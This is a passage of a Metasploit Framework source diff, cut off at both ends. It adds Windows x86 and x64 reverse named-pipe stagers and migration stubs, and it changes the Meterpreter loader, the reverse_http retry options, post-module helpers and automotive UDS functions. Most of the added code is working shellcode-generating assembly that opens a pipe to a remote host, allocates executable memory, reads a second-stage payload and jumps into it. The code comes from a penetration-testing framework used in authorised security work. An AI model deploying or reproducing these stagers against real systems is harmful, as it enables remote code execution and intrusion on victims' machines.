b/lib/msf/core/payload/windows/migrate_named_pipe.rb @@ -0,0 +1,47 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/migrate_common' + +module Msf + +### +# +# Payload that supports migrating over Named Pipe transports on x86. +# +### + +module Payload::Windows::MigrateNamedPipe + + include Msf::Payload::Windows::MigrateCommon + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Migrate over Named Pipe transport', + 'Description' => 'Migration stub to use over Named Pipe transports', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + )) + end + + # + # Constructs the payload + # + def generate_migrate(opts = {}) + %Q^ + start_migrate_pipe: + mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context. + signal_pipe_event: + push dword [esi] ; Event handle is pointed at by esi + push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call ebp ; SetEvent(handle) + call_pipe_payload: + call dword [esi+8] ; call the associated payload + ^ + end + +end + +end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index b4c6a62b91..1c9b79b562 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), @@ -359,14 +360,14 @@ module Payload::Windows::ReverseHttp push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp test eax,eax - jnz allocate_memory - + jnz allocate_memory + set_wait: push #{retry_wait} ; dwMilliseconds push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) call ebp ; Sleep( dwMilliseconds ); ^ - + if retry_count > 0 asm << %Q^ try_it_again: diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb new file mode 100644 index 0000000000..1049b96519 --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -0,0 +1,287 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/send_uuid' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf + +### +# +# Complex reverse_named_pipe payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseNamedPipe + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + # + # Register reverse_named_pipe specific options + # + def initialize(*args) + super + end + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'] || '.', + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_named_pipe(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def transport_config(opts={}) + transport_config_reverse_named_pipe(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_named_pipe(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_named_pipe(opts)} + ^ + + #"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 + + # Reliability adds some bytes! + space += 44 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_named_pipe(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + reliable = opts[:reliable] + # we have to double-escape because of metasm + full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the handle for the pipe to the server + + retry_start: + push #{retry_count} ; retry counter + mov esi, esp ; keep track of where the variables are + + try_reverse_named_pipe: + ; Start by setting up the call to CreateFile + xor ebx, ebx ; EBX will be used for pushing zero + push ebx ; hTemplateFile + push ebx ; dwFlagsAndAttributes + push 3 ; dwCreationDisposition (OPEN_EXISTING) + push ebx ; lpSecurityAttributes + push ebx ; dwShareMode + push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE) + call get_pipe_name + db "#{full_pipe_name}", 0x00 + get_pipe_name: + ; lpFileName (via call) + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} + call ebp ; CreateFileA(...) + + ; If eax is -1, then we had a failure. + cmp eax, -1 ; -1 means a failure + jnz connected + + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi] + jnz try_reverse_named_pipe + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + ; this label is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + xchg edi, eax ; edi now has the file handle we'll need in future + ^ + + asm << asm_write_uuid if include_send_uuid + + asm << %Q^ + ; Receive the size of the incoming second stage... + push ebx ; buffer for lpNumberOfBytesRead + mov ecx, esp + push ebx ; buffer for lpBuffer + mov esi, esp + push ebx ; lpOverlapped + push ecx ; lpNumberOfBytesRead + push 4 ; nNumberOfBytesToRead = sizeof( DWORD ); + push esi ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the file read worked, retry otherwise + ; if it fails + test eax, eax + jz cleanup_file + mov eax, [esi+4] ; check to see if bytes were read + test eax, eax + jz cleanup_file + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly received second stage length. + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + ; prepare the size min(0x10000, esi) + mov ecx, 0x10000 ; stupid named pipe buffer limit + cmp ecx, esi + jle size_is_good + mov ecx, esi + + size_is_good: + ; Invoke a read + push eax ; space for the number of bytes + mov eax, esp ; store the pointer + push 0 ; lpOverlapped + push eax ; lpNumberOfBytesRead + push ecx ; nNumberOfBytesToRead + push ebx ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the data + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jz read_failed + pop eax ; get the number of bytes read + cmp eax, 0 + jnz read_successful + + read_failed: + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_file: + ; clear up the named pipe handle + push edi ; named pipe handle + push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} + call ebp ; CloseHandle(...) + + ; restore the stack back to the connection retry count + pop esi + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp try_reverse_named_pipe + ^ + else + asm << %Q^ + pop eax ; pop bytes read + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index 46f7c0b744..f55de65339 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -33,7 +33,7 @@ module Payload::Windows::BindTcp_x64 # Generate the more advanced stager if we have the space if self.available_space && required_space <= self.available_space - conf[:exitfunk] = datastore['EXITFUNC'], + conf[:exitfunk] = datastore['EXITFUNC'] conf[:reliable] = true end diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index cd5ba7c708..257e2cc79c 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -29,7 +29,7 @@ module Payload::Windows::MeterpreterLoader_x64 ], 'Platform' => 'win', 'Arch' => ARCH_X64, - 'PayloadCompat' => { 'Convention' => 'sockrdi' }, + 'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' }, 'Stage' => { 'Payload' => "" } )) end @@ -42,22 +42,23 @@ module Payload::Windows::MeterpreterLoader_x64 push rbp ; save rbp mov rbp, rsp ; set up a new stack frame sub rsp, 32 ; allocate some space for calls. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned ; GetPC call $+5 ; relative call to get location pop rbx ; pop return value ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() - add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)} + add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)} call rbx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ^ - unless opts[:stageless] + unless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ - ; store the comms socket handle - mov dword ptr [rbx], edi + ; store the comms socket or handle + mov [rbx], rdi ^ end @@ -79,12 +80,14 @@ module Payload::Windows::MeterpreterLoader_x64 # create the configuration block, which for staged connections is really simple. config_opts = { - arch: opts[:uuid].arch, - exitfunk: ds['EXITFUNC'], - expiration: ds['SessionExpirationTimeout'].to_i, - uuid: opts[:uuid], - transports: opts[:transport_config] || [transport_config(opts)], - extensions: [] + arch: opts[:uuid].arch, + null_session_guid: opts[:null_session_guid] == true, + exitfunk: ds[:exit_func] || ds['EXITFUNC'], + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config] || [transport_config(opts)], + extensions: [], + stageless: opts[:stageless] == true } # create the configuration instance based off the parameters diff --git a/lib/msf/core/payload/windows/x64/migrate.rb b/lib/msf/core/payload/windows/x64/migrate.rb index 20fad5bb2d..770147cc58 100644 --- a/lib/msf/core/payload/windows/x64/migrate.rb +++ b/lib/msf/core/payload/windows/x64/migrate.rb @@ -3,3 +3,4 @@ require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/migrate_tcp' require 'msf/core/payload/windows/x64/migrate_http' +require 'msf/core/payload/windows/x64/migrate_named_pipe' diff --git a/lib/msf/core/payload/windows/x64/migrate_named_pipe.rb b/lib/msf/core/payload/windows/x64/migrate_named_pipe.rb new file mode 100644 index 0000000000..193090f5fc --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate_named_pipe.rb @@ -0,0 +1,47 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/migrate_common' + +module Msf + +### +# +# Payload that supports migrating over Named Pipe transports on x64. +# +### + +module Payload::Windows::MigrateNamedPipe_x64 + + include Msf::Payload::Windows::MigrateCommon_x64 + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Migrate over Named Pipe transport (x64)', + 'Description' => 'Migration stub to use over Named Pipe transports (x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64, + )) + end + + # + # Constructs the payload + # + def generate_migrate(opts = {}) + %Q^ + start_migrate_pipe: + mov rdi, qword [rsi+16] ; The duplicated pipe handle is in the migrate context. + signal_pipe_event: + mov rcx, qword [rsi] ; Event handle is pointed at by rsi + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call rbp ; SetEvent(handle) + call_pipe_payload: + call qword [rsi+8] ; call the associated payload + ^ + end + +end + +end diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 004db9324c..a9048731b4 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64 super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), @@ -366,13 +367,13 @@ module Payload::Windows::ReverseHttp_x64 call rbp test eax, eax jnz allocate_memory - + set_wait: mov rcx, #{retry_wait} ; dwMilliseconds mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} call rbp ; Sleep( dwMilliseconds ); ^ - + if retry_count > 0 asm << %Q^ diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb new file mode 100644 index 0000000000..b04ba63f75 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb @@ -0,0 +1,283 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/send_uuid' +require 'msf/core/payload/windows/x64/block_api' +require 'msf/core/payload/windows/x64/exitfunk' + +module Msf + +### +# +# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64 +# ### + +module Payload::Windows::ReverseNamedPipe_x64 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::SendUUID_x64 + include Msf::Payload::Windows::BlockApi_x64 + include Msf::Payload::Windows::Exitfunk_x64 + + # + # Register reverse_named_pipe specific options + # + def initialize(*args) + super + end + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'], + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_named_pipe(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + # + # Generate and compile the stager + # + def generate_reverse_named_pipe(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop rbp ; block API pointer + #{asm_reverse_named_pipe(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + def transport_config(opts={}) + transport_config_reverse_named_pipe(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK 'seh' is the worst case, that adds 15 bytes + space += 15 + + # Reliability adds bytes! + space += 57 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_named_pipe(opts={}) + + #reliable = opts[:reliable] + reliable = false + retry_count = [opts[:retry_count].to_i, 1].max + full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" + + asm = %Q^ + ; Input: RBP must be the address of 'api_call' + ; Output: RDI will be the handle to the named pipe. + + retry_start: + push #{retry_count} ; retry counter + pop r14 + + ; Func(rcx, rdx, r8, r9, stack ...) + try_reverse_named_pipe: + call get_pipe_name + db "#{full_pipe_name}", 0x00 + get_pipe_name: + pop rcx ; lpFileName + ; Start by setting up the call to CreateFile + push 0 ; alignment + push 0 ; hTemplateFile + push 0 ; dwFlagsAndAttributes + push 3 ; dwCreationDisposition (OPEN_EXISTING) + xor r9, r9 ; lpSecurityAttributes + xor r8, r8 ; dwShareMode + mov rdx, 0xC0000000 ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} + call rbp ; CreateFileA(...) + + ; check for failure + cmp rax, -1 ; did it work? + jnz connected + + handle_connect_failure: + dec r14 ; decrement the retry count + jnz retry_start + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + xchg rdi, rax ; Save the file handler for later + ^ + asm << asm_write_uuid if include_send_uuid + + asm << %Q^ + ; Receive the size of the incoming second stage... + push 0 ; buffer for lpNumberOfBytesRead + mov r9, rsp ; lpNumberOfBytesRead + push 0 ; buffer for lpBuffer + mov rsi, rsp ; lpNumberOfBytesRead + push 4 ; sizeof(DWORD) + pop r8 ; nNumberOfBytesToRead + push 0 ; alignment + push 0 ; lpOverlapped + mov rdx, rsi ; lpBuffer + mov rcx, rdi ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call rbp ; ReadFile(...) + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the received worked, and reconnect + ; if it fails + test eax, eax + jz cleanup_file + mov rax, [rsi+8] + test eax, eax + jz cleanup_file + ^ + end + + asm << %Q^ + + ; Alloc a RWX buffer for the second stage + add rsp, 0x30 ; slight stack adjustment + pop rsi ; pop off the second stage length + pop rax ; line the stack up again + mov esi, esi ; only use the lower-order 32 bits for the size + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + + read_more: + ; prepare the size min(0x10000, esi) + mov r8, 0x10000 ; stupid named pipe buffer limit + cmp r8, rsi + jle size_is_good + mov r8, rsi + + size_is_good: + ; Invoke a read + push 0 ; buffer for lpNumberOfBytesRead + mov r9, rsp ; lpNumberOfBytesRead + mov rdx, rbx ; lpBuffer + push 0 ; lpOverlapped + mov rcx, rdi ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call rbp ; ReadFile(...) + add rsp, 0x28 ; slight stack adjustment + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the read worked + ; if it fails + test eax, eax + jnz read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_DECOMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_file: + ; clean up the socket + push rdi ; file handle + pop rcx ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} + call rbp + + ; and try again + dec r14 ; decrement the retry count + jmp retry_start + ^ + end + + asm << %Q^ + read_successful: + pop rax + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index 793824d302..2e042a3160 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -19,6 +19,12 @@ class Msf::Post < Msf::Module require 'msf/core/post/android' require 'msf/core/post/hardware' + class Complete < RuntimeError + end + + class Failed < RuntimeError + end + include Msf::PostMixin def setup @@ -66,4 +72,10 @@ class Msf::Post < Msf::Module nil end end + + # Override Msf::Module#fail_with for Msf::Simple::Post::job_run_proc + def fail_with(reason, msg = nil) + raise Msf::Post::Failed, "#{reason.to_s}: #{msg}" + end + end diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 84d915d2b8..7073d7da0b 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -167,19 +167,19 @@ module Msf::Post::Common end # - # Reports to the database that the host is a virtual machine and reports - # the type of virtual machine it is (e.g VirtualBox, VMware, Xen) + # Reports to the database that the host is using virtualization and reports + # the type of virtualization it is (e.g VirtualBox, VMware, Xen, Docker) # - def report_vm(vm) + def report_virtualization(virt) return unless session - return unless vm - vm_normal = vm.to_s.strip - return if vm_normal.empty? - vm_data = { + return unless virt + virt_normal = virt.to_s.strip + return if virt_normal.empty? + virt_data = { :host => session.target_host, - :virtual_host => vm_normal + :virtual_host => virt_normal } - report_host(vm_data) + report_host(virt_data) end # diff --git a/lib/msf/core/post/hardware/automotive/uds.rb b/lib/msf/core/post/hardware/automotive/uds.rb index 5dca25a51c..68afb85d7c 100644 --- a/lib/msf/core/post/hardware/automotive/uds.rb +++ b/lib/msf/core/post/hardware/automotive/uds.rb @@ -33,7 +33,7 @@ module UDS end left2combine = hash["Packets"].size counter = 0 - while left2combine.positive? && (bad_count < (hash["Packets"].size * 2)) + while left2combine > 0 && (bad_count < (hash["Packets"].size * 2)) # print_line("DEBUG Current status combine=#{left2combine} data=#{data.inspect}") hash["Packets"].each do |pkt| if (pkt.key? "ID") && pkt["ID"].hex == id.hex @@ -100,11 +100,13 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Array] All supported pids from Mode $01 get current data - def get_current_data_pids(bus, src_id, dst_id) + def get_current_data_pids(bus, src_id, dst_id, opt={}) pids = [] - packets = get_current_data(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 }) + opt['MAXPKTS'] = 1 + packets = get_current_data(bus, src_id, dst_id, 0, opt) return pids if packets.nil? if (packets.key? "Packets") && !packets["Packets"].empty? hexpids = packets["Packets"][0]["DATA"][3, 6] @@ -114,7 +116,7 @@ module UDS end end if pids.include? 0x20 - packets = get_current_data(bus, src_id, dst_id, 0x20, { "MAXPKTS" => 1 }) + packets = get_current_data(bus, src_id, dst_id, 0x20, opt) if (packets.key? "Packets") && !packets["Packets"].empty? hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s @@ -124,7 +126,7 @@ module UDS end end if pids.include? 0x40 - packets = get_current_data(bus, src_id, dst_id, 0x40, { "MAXPKTS" => 1 }) + packets = get_current_data(bus, src_id, dst_id, 0x40, opt) if (packets.key? "Packets") && !packets["Packets"].empty? hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s @@ -134,7 +136,7 @@ module UDS end end if pids.include? 0x60 - packets = get_current_data(bus, src_id, dst_id, 0x60, { "MAXPKTS" => 1 }) + packets = get_current_data(bus, src_id, dst_id, 0x60, opt) if (packets.key? "Packets") && !packets["Packets"].empty? hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s @@ -144,7 +146,7 @@ module UDS end end if pids.include? 0x80 - packets = get_current_data(bus, src_id, dst_id, 0x80, { "MAXPKTS" => 1 }) + packets = get_current_data(bus, src_id, dst_id, 0x80, opt) if (packets.key? "Packets") && !packets["Packets"].empty? hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s @@ -154,7 +156,7 @@ module UDS end end if pids.include? 0xA0 - packets = get_current_data(bus, src_id, dst_id, 0xA0, { "MAXPKTS" => 1 }) + packets = get_current_data(bus, src_id, dst_id, 0xA0, opt) if (packets.key? "Packets") && !packets["Packets"].empty? hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s @@ -164,7 +166,7 @@ module UDS end end if pids.include? 0xC0 - packets = get_current_data(bus, src_id, dst_id, 0xC0, { "MAXPKTS" => 1 }) + packets = get_current_data(bus, src_id, dst_id, 0xC0, opt) if (packets.key? "Packets") && !packets["Packets"].empty? hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s @@ -182,10 +184,12 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] Packet Hash with { "MIL" => true|false "DTC_COUNT" => 0 } - def get_monitor_status(bus, src_id, dst_id) - packets = get_current_data(bus, src_id, dst_id, 0x01, { "MAXPKTS" => 1 }) + def get_monitor_status(bus, src_id, dst_id, opt = {}) + opt['MAXPKTS'] = 1 + packets = get_current_data(bus, src_id, dst_id, 0x01, opt) return {} if packets.nil? return packets if packets.key? "error" return packets unless packets.key? "Packets" @@ -200,10 +204,12 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] Packet Hash with { "TEMP_C" => , "TEMP_F" => } - def get_engine_coolant_temp(bus, src_id, dst_id) - packets = get_current_data(bus, src_id, dst_id, 0x05, { "MAXPKTS" => 1 }) + def get_engine_coolant_temp(bus, src_id, dst_id, opt = {}) + opt['MAXPKTS'] = 1 + packets = get_current_data(bus, src_id, dst_id, 0x05, opt) return {} if packets.nil? return packets if packets.key? "error" return packets unless packets.key? "Packets" @@ -220,10 +226,12 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] Packet Hash with { "RPM" => } - def get_rpms(bus, src_id, dst_id) - packets = get_current_data(bus, src_id, dst_id, 0x0C, { "MAXPKTS" => 1 }) + def get_rpms(bus, src_id, dst_id, opt = {}) + opt['MAXPKTS'] = 1 + packets = get_current_data(bus, src_id, dst_id, 0x0C, opt) return {} if packets.nil? return packets if packets.key? "error" return packets unless packets.key? "Packets" @@ -237,10 +245,12 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] Packet Hash with { "SPEED_K" => , "SPEED_M" => } - def get_vehicle_speed(bus, src_id, dst_id) - packets = get_current_data(bus, src_id, dst_id, 0x0D, { "MAXPKTS" => 1 }) + def get_vehicle_speed(bus, src_id, dst_id, opt = {}) + opt['MAXPKTS'] = 1 + packets = get_current_data(bus, src_id, dst_id, 0x0D, opt) return {} if packets.nil? return packets if packets.key? "error" return packets unless packets.key? "Packets" @@ -256,10 +266,12 @@ module UDS # @param bus [String] unique CAN bus identifier # @param src_id [Integer] Integer representation of the Sending CAN ID # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [String] Description of standard - def get_obd_standards(bus, src_id, dst_id) - packets = get_current_data(bus, src_id, dst_id, 0x1C, { 